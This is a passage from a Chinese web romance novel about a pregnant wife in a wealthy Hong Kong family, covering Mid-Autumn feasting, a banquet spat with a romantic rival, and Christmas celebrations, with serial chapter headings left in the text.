中秋庙会,街道上自然少不了卖螃蟹跟鲜虾的,今年螃蟹品相不错,叫卖螃蟹的鱼贩刚开了市,等在周围的阿婆们便迫不及待围了过来。 “靓仔,今天螃蟹价格贵咩?” “哎哟,等了一夏天,总算盼到中秋螃蟹下来了,靓仔,快打开篓子给咱们瞧瞧。” 阿婆们说做一团,卖螃蟹的鱼贩笑呵呵掀开了鱼篓的篓子,里头巴掌大的螃蟹张牙舞爪,红艳艳的,个个鲜嫩肥美,看着就让人欢心。 中秋螃蟹下的不算多,等待许久的阿婆们争着抢着买回家,就连车上的王妈、吴妈也磨拳擦掌,下车抢了一筐螃蟹回来。 “小鱼,今年螃蟹肥嫩,螃蟹性寒你不能多吃,留些回去叫厨房煮粥吃却是可以的。” 郭玉琴目光柔和看着儿媳妇,姜沉鱼乖顺点头,她面上乖巧,其实心里早想好了,晚上让萧砚给自己下蟹黄面解馋。 初秋傍晚细碎的阳光洒下,萧家老宅庭院中一排翠绿的桂花树开满桂花,暖风扬起,落在树梢的几只雀鸟飞起,带来勃勃生机。 满满一篓螃蟹提回家,厨房的厨娘们火力全开,撸袖子拾掇螃蟹。 姜沉鱼中午出门只喝了半碗甜羹,瞧着就让人担心。 她回来胃口不错,吃了碗牛肉羹,瞧着脸色红润,阿秋放心去了主楼。 萧甜傍晚回来就在小楼不走了,姜沉鱼肚子沉重,不方便照顾她。 阿秋端了两盘点心,傍晚的余晖洒下来,萧甜刚吃了一盘点心,心满意足伸个小懒腰,爬进薄毯里,白胖脸颊红润兀自睡的香甜。 姜沉鱼端着刚泡好的牛乳茶,笑眯眯看了眼小团子,觉得此刻很有几分岁月静好的意境,除了肚子有些撑。 她喝了牛乳茶,打算出门散散步。 阿秋见少夫人站在门口,赶紧过来搀扶,“少夫人,您身子不舒服,怎么还出门走动?” 姜沉鱼一头雾水,她能吃能喝能睡的,怎么就身子不舒服了? 阿秋继续道,“少夫人中午胃口不开,我琢磨着怕是午饭不合胃口,晚上特意烧了开胃的酸汤鱼、三鲜蛋羹,还有面包跟红茶,中西结合少夫人看着合心不?” 刚吃个肚皮滚圆的姜沉鱼:“” 原来是为着这啊? 姜沉鱼心中默默发囧,只能用哈哈发笑掩饰尴尬。 “合心,少夫人喜欢呢。” 阿秋闻见,道了句少夫人喜欢就好,欢天喜地去又去厨房忙活了。 雕花窗下读英文的萧茗好奇望过来,心虚的姜沉鱼赶紧溜了。 当天晚上 ,姜沉鱼在一家人爱的注视下,含泪喝粥又吃鱼,最后又光荣吃撑了。 “” 萧家老宅过中秋,饭桌上必少不了萧老爷子爱吃的烤鱼,别家烤鱼一般都是把整条鱼炮烙干净,再放入各种调味品研制,放在炭炉上煨烤。 这样烤出来的鱼味道虽好,却也带上了炭炉的烟火气,讲究的人家注重色香味俱全,对此不是很喜。 萧家的厨师则是另辟蹊径,采用瓦片烤鱼,瓦片烧烤食材不会接触炭火,食材新鲜的同时还能保证烤鱼肉本身的细腻嫩滑,口感爽觉。 中秋这日,老宅的厨师们从中午忙碌到下午,累的胳膊酸腿也痛,大半天的掌勺、颠勺,胳膊都抬不起来。 这顿中秋宴萧老爷子想着家中即将添丁,老怀欣慰,大手一挥给老宅佣人都发了过节红包。 一时之间老宅上下喜气洋洋,姜沉鱼懒懒靠在沙发上,悠闲看着八卦节目。 裴特助刚打电话过来,说萧砚晚上要参加一场时尚晚宴,可能会晚些回来。 裴特助生怕姜沉鱼生气,在电话里再三保证。 “总裁今天开会开到很晚,换了西装就去晚宴了,少夫人您千万别多心。” 姜沉鱼“唔“了声,”好,让他早点回来。” 裴特助听到这话就放心了。 当晚的时尚晚宴有不少大佬出席,台上模特们走着猫步,贵宾观众席上,萧砚身穿黑色西装,内搭白色的衬衫,衬衫袖口上黑耀石袖扣设计大气没,眉眼冷淡矜贵、俊美隽逸,现场有很多单身美貌的女孩想上前搭讪,结果都被男人冷漠的目光吓了回来。 萧砚眉目清冷,深邃、狭长的黑眸总给人一种微光半露、睥睨凡尘的感觉,他一旁的某品牌时尚总监安德鲁在一边左拥右抱,享尽齐人之福。 “萧生,今晚怎么不见你家太太?” 有位长发模特,穿着条性感珍珠吊带抹胸黑裙,身姿妖娆过来搭讪。 裴特助过来阻拦,隔着几米远,萧砚仍然能清晰地听到女人故作矜持的假笑声,他表情淡淡,只掀起眼皮很淡的扫了她一眼,视线并未多做停留,淡淡开了口。 “阿龙,把这些不三不四的女人带走。” “好的。” 长发模特还没来得及的出声,就被两个黑衣保镖拖了下去。 时尚晚宴进行到尾声,萧砚忽地想起什么事眉头一松,站起身大步离开了。 留下安德鲁跟一群长腿美女在原地happy。 安德鲁出身在英伦伯爵家庭,因为是家族中的小儿子,爵位跟家中的豪宅庄园、封地都由他的哥哥继承。伯爵跟伯爵夫人溺爱儿子把个人的大部分资产都留给了安德鲁。 从小纸醉金迷长大的安德鲁可不在意萧氏总裁离席,他跟萧砚是大学同学,那家伙大学时就是一副生人勿近的冰山脸,没想到娶了位太太就百炼钢化为绕指柔了。 平日里他家老头子管的严,这次好不容易有机会来港城潇洒,不趁机多泡几个美女都对不起自己。 安德鲁嘿嘿笑着,突然把目光放在同在贵宾席的蔡润泽身上。 他一出场,安德鲁身边的长腿美女就少了一半,美女们都跑到蔡润泽那边去了。 “这个家伙是什么人?”安德鲁冷脸问旁边的工作人员。 “那位先生是来自港城的蔡先生,是蔡氏家族的次孙。”工作人员介绍完之后就离开了。 港城蔡家? 安德鲁虽然爱玩但也知道分寸。 他们家在英伦算得是落魄的贵族了,目前英伦还有少量的世袭贵族,真正仍然有钱有地的贵族已寥寥无几。 但贵族仍然是英伦的大地主。英伦仍有超过一半的土地掌握在极少数贵族手中。 有个别贵族把土地转换成房地产业,成为巨富。 像他姐夫,就因为有个精明的爹地,自己头脑也聪明,年纪轻轻就有了丰厚身价。 英伦不是每个贵族都像他姐夫那般好运。就像他家老头子既迂腐又守旧,守着祖宗传下来的庄园跟封地骄傲的过着自己的日子。 英伦贵族有大片土地,可他们缺少现金流,他们的财富完全无法与那些基金经理相比。 比起财大气粗的蔡家,安德鲁有些泄气,港城豪门众多,彼此交横盘错,势力角逐,他一个破落贵族还是潇洒度日的好。 晚上淅沥沥下了雨,马路上,黑色的劳斯莱斯幻影稳稳行驶着,车窗上汇聚着雨滴,这会儿天上飘起了细细的雨丝,那雨滴顺着车顶滴滴答答的落,在马路上留下一条条清晰的痕迹。 路上路过花店,萧砚突然下了车,去花店买了两束花,一束百合,一束玫瑰,都还新鲜。 车上司机有点摸不清头脑,总裁买鲜花做什么? 萧家老宅哪日缺了鲜花了? 裴特助猴精猴精的,一下子就猜到总裁下车买花是为了让少夫人高兴。 “也就少夫人能配得上总裁。” 裴特助欣慰想,他假装没看到司机眼里的好奇,恭恭敬敬下车喊了一声:“总裁,花一会儿送到楼上去?” 萧砚微颔首,垂眸看向车窗外,想起家中的姜沉鱼,眉梢眼角的锐气削减不少。 车里的司机透着车窗看的真真切切,他家总裁左手一捧玫瑰花,右手还有一块分量不轻的牛排,总裁这是要亲自下厨讨好少夫人? 看着样子,八成是了。 夜色已深,劳斯莱斯在马路上疾驰,二十分钟后稳稳的停在了萧家老宅面前。 萧砚下了车,先去见了萧长章夫妇。 这段时间,萧长章夫妇处理了海外的大部分房产,打算以后长居港城,萧家大房在海外有诸多房产,郭玉琴只留下了位于洛杉矶日落大道的比佛利豪宅,还有意大利和英国的两栋别墅。 这几处房产,郭玉琴都转到了姜沉鱼名下,权当给儿媳的礼物,对此,萧长章没有任何意见。 这些事情姜沉鱼都不知道,她正被萧砚轻柔的抱在怀中睡的很香甜。 姜沉鱼今晚的晚餐很养生,酸汤鱼、三鲜蛋羹、五谷面包、少量黄油。再加上一些涂了橘子酱的面包片和大吉岭红茶。 自从怀了孕,姜沉鱼就喜欢吃家常菜,比如羊肉片或烤牛肉,然后再吃点面包、黄油布丁或者冰淇淋,饭后甜点最爱吃口味甘甜多汁的水果,酸酸甜甜的味道也不错,像是荔枝、草莓、西瓜、葡萄还有柑橘火龙果,她都是很爱吃的。 她不喜欢吃柠檬、山楂味道酸酸的水果,为了护肤,每天清早,阿秋都会用柠檬片泡水加上甜甜的蜂蜜给姜沉鱼喝。 吃完晚饭,姜沉鱼踩着拖鞋去浴室,阿秋在浴缸里撒上大把的玫瑰花瓣,整个身体浸泡在香香滑滑的满是牛奶的浴缸中人生简直不要太幸福。 姜沉鱼满足的喟叹。 萧砚哄睡了妻子,将她打横抱起来,步伐稳健送进卧室,卧室里点了安神的熏香,姜沉鱼舒服的舒了口气。 萧砚喉咙滚了滚,俯身在她眉心吻了吻,随后脱掉西服外套,一把解开衬衫的纽扣,赤着上半身向浴室走去。 半小时后。 浴室的门再次被打开,只裹着一条浴巾的男人,湿着黑发,赤着大脚全身湿漉漉的走了出来。 床上的姜沉鱼依旧在熟睡中,只是这睡觉的姿势有些不雅。 萧砚在门口换好拖鞋,走到二楼卧室,姜沉鱼已经趴在床上睡熟了,娇娇软软的带着香气。 萧砚俯身捏捏姜沉鱼的耳朵,姜沉鱼发出一道不满的哼唧声,娇嫩脸蛋埋进枕头内,睡得更香。 萧砚薄唇微勾,把丝绒被搭在姜沉鱼身上,调暗了床头的灯光,提着牛肉出了卧室。 * 楼 下萧砚在厨房里忙碌,倒掉洗牛肉的血水后,萧砚很熟悉的用刀切下一点边缘肉,在平底锅上刷了一层厚厚的油,油锅的“滋滋”响,整块牛排平铺在锅里,边缘慢慢变色,油跟汁水冒出来。 牛排出锅后,萧砚热了一下家里佣人煮好的虾仁饺子,又想起自家太太喜欢喝红茶,转身去了楼下。 二楼,睡的正想的姜沉鱼闻见牛排的香味,缓缓睁开眼睛,她盯着面前的台灯看了一会儿,然后穿着小兔子拖鞋搭拢下眼皮下楼去。 楼下餐桌上摆着两份煎好的牛排,边上的银制烛台上还点好了蜡烛。 姜沉鱼这会儿肚子饿的“咕咕”叫,她四下看看没有瞧见萧砚,直接坐下吃了起来。 姜沉鱼拈起一块奶油松瓤牛排放在嘴里,然后又塞一只小饺儿,吃的不亦乐乎。 等到萧砚拿着红茶回来,就看见姜沉鱼在餐桌前一口牛排、一口饺子吃的津津有味。 姜沉鱼刚刚睡起,长发披散,纤细白挑的身子身上一件纯白丝绸睡衣,露出一截圆滚的嫩腰和一双玉足乐颠颠的翘着,可见姜沉鱼吃的有多开心。 萧砚慢条斯理的坐下,端着红茶配牛奶,红茶滚滚烫的冒着热气。 第50章 第50章感谢订阅 刚出锅的牛排鲜嫩可口,虾饺是用糯米皮包的,弹牙爽口,吃一筷子就想吃第二筷子。 姜沉鱼吃完一小盘虾饺,一块牛排,还没填饱肚子。 萧砚又去厨房,热了菠萝包并一碗小馄饨。 姜沉鱼抱着果盘窝在沙发里,吃着橙子看最近大热的师奶电视剧,看到里面的帅哥还不忘点评几句。 “这个靓仔手好看,修长白净。” “剧里的王sir是阿秋最喜欢的角色了。” 姜沉鱼津津有味看电视剧,萧砚不动声色扫了她一眼,递过来一杯温热的蜂蜜水,沉声道,“多喝杯水,对肠胃好。” 姜沉鱼乖乖“哦”了声,接过水杯喝了小半杯。 她自从怀了崽崽,每天早晚都要喝一杯蜂蜜水,避免便秘。 姜沉鱼喝下蜂蜜水,樱唇潋滟,依旧目不转睛看着电视剧,丝毫没有注意到某人神深邃邃的黑眸,落在她两片娇艳欲滴的红唇上好一会儿。 五分钟后,馄饨出了锅,馄饨鲜浓的香味扑鼻而来,奶白色的汤水里,小馄饨一个个跟小元宝似的,皮薄透亮,让人看着就咽口水。 萧砚端着馄饨走过来,大手揽在她身后,冷沉的气息将她包裹,“要不要我喂你?” “记得吹凉了再喂我。” 姜沉鱼恃宠生娇,使唤起人来毫不客气。 萧砚池胸膛里笑声微震,含吻她柔软饱满的耳珠,亲了几下,才稍稍后退放过她。“好。” 姜沉鱼被吃了豆腐,立马炸毛,放下手里的果盘,捏住某人的俊脸用力拉扯。 “萧砚,你个混蛋,我怀着崽崽呢,还欺负我!” 萧砚捉住她乱打的手,笑着亲了亲,柔声哄道,“是我的错,小鱼别生气。” “打我就几下不怕胳膊酸了?以后我不偷吻你了,正大光明吻你好不好?” 姜沉鱼:“” 她没有某人脸皮厚,只能甘拜下风不说话了。 姜沉鱼吃完一碗小馄饨,刷了牙就回卧室睡下了。 萧砚收拾完厨房,也回了卧室,姜沉鱼听着床上响起的窸窸窣窣的声音,翻身将脑袋埋入了柔软的枕头里。 萧砚解了白衬衫,露出肩臂坚实,平坦宽阔的胸膛,腰腹的肌肉线条性感结实。 萧砚过来抱人,姜沉鱼忍不住推搡,“你离我远点,你身上太热了我会睡不着的。” 怀孕妻子嘟嘟囔囔,嫌弃这个嫌弃那个,萧砚挑挑眉,俯下身直接堵住了姜沉鱼喋喋不休的嘴。 “” 窗台外风吹衣袂,树叶飒飒,仲秋的夜静谧无声,又充满了浓郁的桂花香。 这天夜里,姜沉鱼莫名做了个梦。 梦里,她回到了儿时的江城,那时候她还是个小不点儿,年轻的庄心晴抱着女儿在摇篮上,她声音轻柔好听,手里拿着拨浪鼓逗女儿玩笑。 拨浪鼓上描绘着七彩绣线十分好看,金色的铃铛坠在两个对角儿上。 铃铛发出清泠悦耳的声音,把襁褓中的小女娃逗得咧嘴笑。 这个梦太过于美好,姜沉鱼直到次日八点多才醒过来,醒来后怅然若失许久。 早上九点阿秋端着早点进来,姜沉鱼吃了早餐,成朱莉在家耐不住寂寞,跑来邀请她一道去商场。 姜沉鱼想想好久没出门逛街了,也就点头,到商场逛了一遭大包小包的回到了老宅。 回到别墅后,姜沉鱼敷面膜躺在沙发上美容养颜,阿秋就在一边收拾今天她买的衣服。 港城最近的天气总是阴郁绵绵,姜沉鱼特意买了几件风衣,其中一件大红色的巴宝莉风衣特别令人瞩目。 两天后,郭玉琴将自己留在海外的珠宝运回了港城。 郭玉琴不愧出身豪门,单是祖传的宝石跟衣服就装了十几个箱子,其中光是首饰盒子就有三四箱。 郭玉琴送了儿媳妇一个首饰盒,姜沉鱼随手打开看,倒吸了一口气,妈咪出手真是大方。 首饰盒里,价值不菲的祖母绿项链、耀眼夺目的各色宝石戒指珠宝,首饰盒中最多的还是珍珠首饰,有三层的珍珠项链,也有两层的珍珠项链,只要两颗小小的只在耳畔,就能衬托出婉约的气质。 姜沉鱼欣赏一会儿,就将首饰盒放进了她的保险箱。 这么珍贵的珠宝,还是放在保险箱比较稳妥。 九月末,蔡太太家的小女儿满周岁,蔡家夫妇为小女儿举办了隆重的生日宴会,港城不少豪门都收到邀请。 萧家大房也收到了大红烫金请柬,郭玉琴考虑再三,还是答应出席萧家举办的生日宴会。 生日宴会当天,姜沉鱼穿了件白色羊绒外套,配上套裙,画好妆背着包包跟随婆婆出了门。 蔡家宴会的地点是在港城市中心寸土寸金的维多利亚大厦,宴会的宴厅在商场的顶层,宴会大厅里,钢琴、小提琴的声音缥缈入耳,头顶水晶灯洒下点点光芒。 大厅内名流云集,不少人认识蔡润华,蔡太太热情过来接待郭玉琴跟姜沉鱼。 姜沉鱼的席位,不跟萧家三房在一起,而是安排在贵宾席,盛装出席的萧佳怡心中愤愤不平,却又不敢讲出来,只能憋屈咬唇坐在一旁。 成朱莉见姜沉鱼来了,高兴拉着人给朋友介绍: “这是萧家少夫人,我最好的姐妹。” 在场的千金太太哪个不晓得萧家少夫人,立刻上前寒暄。 姜沉鱼礼貌的朝人微笑,跟众人交谈几句后,寻到自己的位置安静坐了下来,宴厅里觥筹交错,好不热闹。 姜沉鱼怀孕出席宴会,阿秋也跟着来了,这会儿跟王妈在车后总中等待。 出席宴会的女眷都隆重打扮,姜沉鱼简单一席礼服,略施粉黛,芙蓉面樱桃唇,小巧耳畔坠了对红宝石耳坠,行走间裙摆摇曳荡动,风情万种。 穿制服的侍者推着装满红葡萄酒的车子过来。 “太太来杯葡萄酒吗?” 侍者服务周到,姜沉鱼微笑拒绝,要了杯橙汁。 姜沉鱼品了口橙汁,刚要放下,就察觉宴会厅有道嫉恨的目光刺过来。 姜沉鱼美眸微挑,漫不经心看过去,恰好对上一张饱含妒意的面孔。 哦,原来是她啊。 姜沉鱼笑了下,倒不是她的交际圈广泛,只是恰好认出对她表达不善目光的主人,就是萧砚遇到最大的烂桃花——贺琳娜而已。 萧砚这厮女人缘一向很好,别的不说,就只冲着他的这张妖孽脸跟萧氏集团总裁的身份,就有数 不清的女人如过江之鲫般前赴后继的往他身边冲。 想到这些,姜沉鱼啧了声,她端起果汁抿了一下,笑容不变。 贺琳娜一直都盯着姜沉鱼看,她这是第一次见姜沉鱼,她知道这个女人姿色出众,没想到能美到如此动人心魄的地步。 萧砚的个性怎样,怕是没有比贺琳娜更清楚的了。 贺琳娜从小喜欢萧砚,不是暗恋,是明目张胆的明恋。 贺家在港城也算的上豪门,可跟萧家比起来差的不是一点半点。 萧砚天性冷漠,从小到大无论对谁都是不冷不热的态度,贺琳娜追了萧砚八年,萧砚连个正眼都没给她,这个姜沉鱼有什么能耐叫萧砚这样对待 除非萧砚对姜沉鱼动了真情。 贺琳娜意识到心里的想法,心里犹如坠入冰窖,染着鲜红指甲油的双手紧握住了手中的名牌包。 豪门阔太千金的宴会往往离不开美容、首饰和包包,成朱莉交际完,带着几位千金,凑过来热热闹闹的说笑着,中间姜沉鱼笑着也说上几句话,温温柔柔的话语很合其他女孩的胃口。 久别重逢的新鲜劲过后,其中一个女孩建议去宴会结束后去酒吧狂欢,其他女孩都点头同意。 宴会结束前,姜沉鱼去了趟卫生间,遇到了同样在补妆的贺琳娜。 见姜沉鱼进来,贺琳娜高傲抬头,姜沉鱼懒得搭理她,洗完手正要离开时,贺琳娜突然开口: “有些女人仗着有几分姿色,不在家好好养胎,整天在外面抛头露面,丢人现眼,萧少夫人你说这中种不要脸女人生的孩子,是什么?” 姜沉鱼愣了一瞬,对着镜子勾勾红唇,才慢条斯理的看向人: “我听说贺老爷子本来是有原配的,后来离婚才娶了大肚子的新欢,那个新欢的后代说的好听点是私生子,说不不好听点应该叫野种吧?” “你”贺琳娜的脸色瞬间涨得通红,愤愤的看着姜沉鱼。 贺琳娜的祖母当年小三插足贺老爷子婚姻,当了十几年小三后开大着肚子才成功上位,这件事情在当时民风淳朴的港城闹得人尽皆知。 几十年过去了,贺老爷子原配坟头上的草都三尺高了,贺琳娜以为大家早就不记得这件事情了,现在被姜沉鱼点到脸上,她自然急了。 姜沉鱼水眸莹润透着冷意,刚开始她还没反应过来,听了贺琳娜的话,她才回过神来,贺琳娜这是把她当做头号情敌了。 姜沉鱼从小娇宠着长大,伶牙俐齿起来无人能敌。 自始至终贺琳娜一直喜欢的都是萧砚,姜沉鱼的话就像是一把尖刀一下一下敲击着她的心,又尖又细的尖刀,噗嗤一下戳进肉里,鲜血直流。 姜沉鱼面容娴静,提起包径直走出了卫生间,留下贺琳娜一个人。 等在外面的成朱莉看见姜沉鱼出来,迎上去关切的问: “小鱼,刚才贺琳娜也在卫生间,她欺负你了?” 姜沉鱼樱唇勾起: “我像是被欺负的样子吗?” 说罢,她还坏心眼的拉着成朱莉一起看好戏,等到贺琳娜哭到眼泛红从卫生间出来。 成朱莉才放下心来。 也是,小鱼这个性子哪能让别人欺负。 蔡家生日晚宴结束,隔日蔡太太一家四口来萧家老宅做客。 萧家老宅有一小片芭蕉林,石榴树在晚风中随风摇曳,与旁边的花草碰撞在一起,掉落一地的花瓣。 阿秋端了果盘来,蔡太太突然心血来潮,剥了个橘子递给蔡润华。 “润华尝尝。” 蔡润华不爱吃酸,想着是太太亲自剥的橘子怎么也要尝一尝,刚要拿起橘子,怀里的蓉蓉嘴快抢话,“爹地,我也要吃橘子。” 说着就张开嘴巴,等着菜润华喂橘子。 “蓉蓉这个橘子” 蔡润华有些犹豫,想着女儿不爱带酸味的水果,不如换成橙子吃好。 没想到就在他犹豫的功夫,爱女亲切的蔡太太已经递过去一块句子。 蓉蓉吃到橘子的一瞬间,酸到一张小脸都皱起了眉。 姜沉鱼小秘密从随身的小荷包里拈出两枚杏脯递过去,她平时爱吃酸酸甜甜的东西,家中厨房就备了不少果脯供少夫人解馋。 “蓉蓉,吃杏脯,这个不酸。” 杏脯入口,稍一咀嚼,绵软酸甜的杏肉刺激着味蕾,刚才还眼泪汪汪的蓉蓉立马喜笑颜开。 蔡家夫妻顿时松了口气。 蔡家一家四口待到太阳落山才回家。 此刻,太阳尚未完全落山,路两边已经传来细细的虫鸣声。 老宅的园子不小,姜沉鱼沿着回廊一路走来,恰好跟来接她的萧砚碰个正着。 萧砚握着妻子手回去,路上不经意问了句。 “你在宴会上受欺负了?” 姜沉鱼有些莫名其妙,只简单把当天的事情讲了讲。 萧砚“嗯”了声,没有讲话。 姜沉鱼也没放在心上,几天后,贺家在生意场上栽了个大跟头,听说赔了不少钱。 成朱莉本以为这是个意外,等家族聚会的时候才从大哥成文彬口中得知,这次成家栽跟头纯属活该。 谁让贺琳娜得罪了姜沉鱼,让萧砚坑了呢。 成朱莉闻言愣在当场,“大哥,你的意思是” 成文彬意味深长看了眼妹妹,“萧家那两口子心眼一样黑,你以后还是天真烂漫的好。” 成朱莉:“” 呸呸,你这是骂我傻呢! * 十二月寒风乍起,圣诞节前夕,港城的圣诞气息非常浓厚,就跟过春节一般,大街小巷上挂满了各种圣诞树。 成朱莉早就跟姜沉鱼约好了要一起逛街。 两人下了车,身后跟着保镖,各自捧着杯香喷喷的热可可走在港城的街头。 街上美轮美奂的彩灯,精致璀璨的橱窗,旋转不停的木马和摩天轮,看得人开心不已。 “那只火鸡难吃死了,鸡肚子塞满了各种难吃的蔬菜,五姨太居然还叫厨房上了一盘土豆泥蘸面包吃,简直难吃死了。” 成朱莉气鼓鼓的向姜沉鱼吐槽她家的烤鸡,惹的姜沉鱼哈哈大笑。 想起每年除夕夜都要到老宅用餐,姜沉鱼就头疼不已。 成家老宅始建于上个世纪,气势浑厚。 晚饭时间,一家人都早在一起,成家的佣人负责给每一位主人端茶倒水完全不需要自己动手。 最奇葩的是每次年夜饭都是先吃饺子,但是成家的饺子是一个一个吃的, 每次都是诺大的盘子里放着一个孤零零的饺子,再配上一杯红酒。 姜沉鱼听完惊讶咋舌。 别看这豪门生活表面风光无限,如果可以选择的话,成朱莉其实不喜欢生活在豪门的。 姜沉鱼感慨了一会儿,目光就被满街旳热闹吸引了,每年圣诞节,中环街道都会举办盛大的圣诞集市。 露天市场上,各种各样的小吃琳琅满目。 热气腾腾的果酒,鲫鱼面包,德国香肠。烤地瓜简直是中西美食大杂烩。 50-55 第51章 第51章感谢订阅 圣诞集市上还有各种的娱乐设施,溜冰,海盗船等等,吸引了不少市民来游玩。 萧家在中环有商场跟游乐厅,商场三楼有私家滑冰场,成朱莉跑去溜冰,姜沉鱼身子沉,娇躯慵懒陷入柔软的沙发里,寻了个她最舒服的姿势,捧着商场经理递过来的果汁,饶有兴趣看成朱莉滑冰。 阿秋尽职尽责在边上守护自家少夫人,也不知道前头王妈跟这丫头说了什么,阿秋一双杏眸警惕十足,就连商场的保洁阿妈过来打扫卫生,也狐疑人家不是好人。 “少夫人,这保洁阿妈有点不对劲。” 阿秋悄悄探过来。 姜沉鱼纤嫩手指一顿,“怎么不对劲儿?” “保洁阿妈大厅打扫的太干净了,我觉得她不像好人。” “把大厅打扫的这么干净,怕是想让您摔倒。” 阿秋鼓着脸,信誓旦旦道。 “王妈最爱看的电视剧就是这么演的。” “电视里反派最爱说的一句话叫螳螂捕蝉,黄雀在后,少夫人咱们可不能当那丧气倒霉的绿螳螂。” 姜沉鱼:“” 行吧,原来是这丫头电视剧看多了。 姜沉鱼心情甚好,笑眯眯捏了捏阿秋的肉脸蛋,“好,就听阿秋的。” 阿秋登时喜气洋洋,立马打起十二分精神,来回在滑冰场巡视,连带着守在门口站岗的保镖一时间也搞不清发生了什么事。 整个滑冰场除了悠闲自得喝果汁的姜沉鱼跟成朱莉,所有人都提着一口气,被阿秋搞得神经兮兮。 成朱莉滑完冰,外面天色已经暗下来,姜沉鱼消食散步到柜台,挑了几款刚出品的新包包,买了两盒婆婆郭玉 琴爱吃的草莓巧克力蛋糕,乘车返回萧家老宅。 傍晚时分,外面刮起寒风,不多时下起了雪,鹅毛雪花洋洋洒洒,姜沉鱼凝望着窗外密匝匝的雪花,想着萧砚那厮这会儿还没回家,八成又在集团加班了。 果然,没几分钟老宅就接到集团打来的电话,打电话的是裴特助,说总裁要加班开会,要到深夜才能回来。 郭玉琴在客厅打牌,听见这话怕儿媳妇心里不舒服,过来安抚。 “小鱼,别管那人厌狗嫌的臭小子,跟妈咪一起过圣诞。” “好,妈咪,我跟您买了爱吃的草莓蛋糕,正好能当饭后甜点。” 姜沉鱼心里早有准备,亲昵揽住郭玉琴的胳膊,婆媳俩好得如同亲母女一般。 “哎哟,我家小鱼就是体贴,妈咪今天有口福了。” 郭玉琴容貌美盛,保养得宜,穿着一件雪色繁花盛绽的旗袍,平时端庄贵气,这会儿听了儿媳妇的话,心情别提多美妙,立马把萧长章抛到一旁,跟儿媳妇相偕去吃蛋糕了 萧长章在书房看书,听生叔讲了这事,笑意温和,道了句,“小鱼爱吃火腿鲜笋汤吧,最近的鲜笋不错。” 生叔也跟着笑,“少夫人胃口好,吃什么都香。” 圣诞节前夜,窗外寒风冷冽,萧家别墅中,萧家一家坐在一起用餐。 老宅的晚餐中西结合,王妈带着女佣先上了威尔士兔子和意大利面,这是萧长章夫妇亲自下厨做的。 萧长章夫妇长年在国外生活,跟外国友人学会了不少美食。 所谓的威尔士兔子是英国的一道传统法菜肴,用磨碎的干酪加上麦芽酒和芥末酱抹在切好的面包片上,加上一个鸡蛋,放在烤箱里烘焙。 郭玉琴做的意大利海鲜面,味道很好。 姜沉鱼在江城的时候,经常跟着爷爷奶奶去国外度假,对于这些食物吃的津津有味。 吃过西餐,厨房又送来了港城美食。 餐桌上,小砂锅里冒着热气的牛肉驱走了冬日的严寒,红葡萄酒搭配蔬菜,细火慢炖至牛肉酥烂,牛肉吸足了红酒、奶油、橄榄油和香料的香气。 这么冷的天里,豆腐锅咕嘟咕嘟冒热气,女佣盛了满满一碗牛肉汤递给姜沉鱼,一碗又香又浓的牛肉红酒汤,吃的满嘴生香。 吃完牛肉红酒汤,热腾腾的羊肉番茄火锅上了桌,片如蝉翼薄薄的羊肉,整整两大盘,各色食材摆了满满一桌,燃烧着火炭的小泥炉和热腾腾的铜锅,锅里的加了番茄底料沸腾出红色的汤汁,薄薄的羊肉一片片放入锅中,用筷子捞起一块沾沾酱料,送入嘴中,这滋味绝了! 姜沉鱼吃完晚饭,抱着肚子溜达十五分钟,不顾阿秋的絮叨,心安理得坐在沙发上一面看英文视频,一面吃酸枣糕。 阿秋见少夫人嘴巴不停,跟在她身后碎碎念,“少夫人,总裁说您不能多吃酸的,对胃不好。” 姜沉鱼掂着酸枣糕,闻言扭头撇了她一眼,打趣开口,“年纪轻轻就这么絮絮叨叨,让裴特助知道了可不好。” 阿秋杏眸睁的溜圆,被姜沉鱼噎得脸蛋红红,躲到一边在心里把裴特助骂了好几遍。 集团里的裴特助突然打了个喷嚏,揉揉鼻子继续道,“总裁,澳洲二房那边都打听清楚了,岳家明那老东西卖了自己外甥女,要跟林氏集团联姻,还在外面包了几个模特” 萧砚翻看着手里的文件,冷峻的眉眼不见半点萧度,声线淡漠。 “二房日子过得不错,找个机会把事情捅出去。” “好的,总裁。” 裴特助早想收拾二房这群人了,总裁一发话,马上去安排了。 裴特助一走,总裁办公室安静下来,萧砚黑眸落在窗外一排整齐高大的法国梧桐树上,冬日里枝桠舒展,光秃秃的很是凄凉,他目光遥遥一落,看到办公室桌上摆着的姜沉鱼孕妇照,瞬间收敛了浑身刀锋般凛冽的气势,拿起西服外套出了办公室。 刚安排完事情回来的裴特助,“总裁,您去哪儿?” “回家。” “那今晚的两个董事会?” “推迟到明天。” “……是。” 圣诞节晚饭后,萧茗兄妹俩兴致勃勃装扮圣诞树,姜沉鱼在沙发上敷面膜, 姜沉鱼脸上抹了一层厚厚的面膜,整张脸黑漆漆的,只露出一双娇媚水嫩的大眼睛,老宅别墅里开了空调,这会儿暖极了。 套房里暖暖的,姜沉鱼在沙发上昏昏欲睡。 圣诞雪景照在老宅庭院里,就像一幅冷色系的油画一样,老宅雕梁画栋,风景甚是美好,抬头就是一碧如洗的蓝天和远处水墨画的山水。 红砖墙配着屋顶青石板的瓦,傲立在寒冬的几棵翠竹,顽强的小冬青挺立在寒风之中,别有一方冬日傲立的美好意境。 萧砚不在家,阿秋躲在一旁,姜沉鱼无人管着,慵洋洋的躺在上,怀里抱着本英语书,眼皮子耷拉下来眼看又要睡着了。 王妈提着食盒乘电梯上楼,掀开了门帘走了进来,带进来一阵冷风,猛不丁的把昏昏欲睡的姜沉鱼给冻醒了。 王妈进上了楼,嘴里小声抱怨了一下如今今年冬天该死的鬼天气,变幻莫测,害得少夫人都没精神了。 随后,王妈打开食盒,从里头拿出一碗红枣枸杞端给姜沉鱼。 “少夫人,这是厨房新煮好的红枣枸杞粥,如今天寒儿喝一碗红枣枸杞粥最滋补了。” 姜沉鱼点点头,起身慢吞吞的吃粥,等吃完粥,外头飘扬扬的雪花停了,姜沉鱼闲来无事,拿着本英文小说打发时间,她怀着崽崽尽量远离电视,累了就喝口粥吃几口点心,仰望雪景,别提多惬意了。 阿秋在小客厅里擦花瓶,外面雪刚停,生叔就带园丁佣人来扫雪,众人手中一把大扫帚刷刷的把楼前的积雪扫的干干净净。 萧甜抱着小白猫糯米,也喊保姆搬了张小躺椅,学着姜沉鱼的模样,懒洋洋的躺下来,小家伙儿很快就睡着了,糯米嘴边的银白色胡须随着一起一落的小肚皮微微起伏。 萧茗听见了妹妹的呼噜声,就扭过头来见妹妹跟糯米都睡得好好的。 唉,自打家里买了糯米,他还没摸一把呢,平时全让妹妹霸占了。 